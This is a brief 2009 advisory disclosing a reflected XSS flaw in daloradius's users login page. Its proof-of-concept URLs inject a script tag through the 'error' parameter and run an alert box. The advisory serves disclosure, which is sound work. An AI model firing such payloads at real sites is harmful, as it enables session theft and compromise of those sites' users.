daloradius-xss.txt
Posted on 15 December 2009
########################################### # # Script Name : daloradius ( All Version ) # # Bug Type : XSS vulnerability # # Found by : Hadi Kiamarsi # # Contact : hadikiamarsi [at] hotmail.com # # Download : http://sourceforge.net/projects/daloradius/ # ########################################### PoC : http://[target]/[path]/daloradius-users/login.php?error=>"><script>alert('Hadi Kiamarsi')</script> example : http://www.example.com/daloradius-users/login.php?error=>"><script>alert('Hadi Kiamarsi')</script> local Example : http://localhost/root/daloradius-users/login.php?error=>"><script>alert('Hadi Kiamarsi')</script>
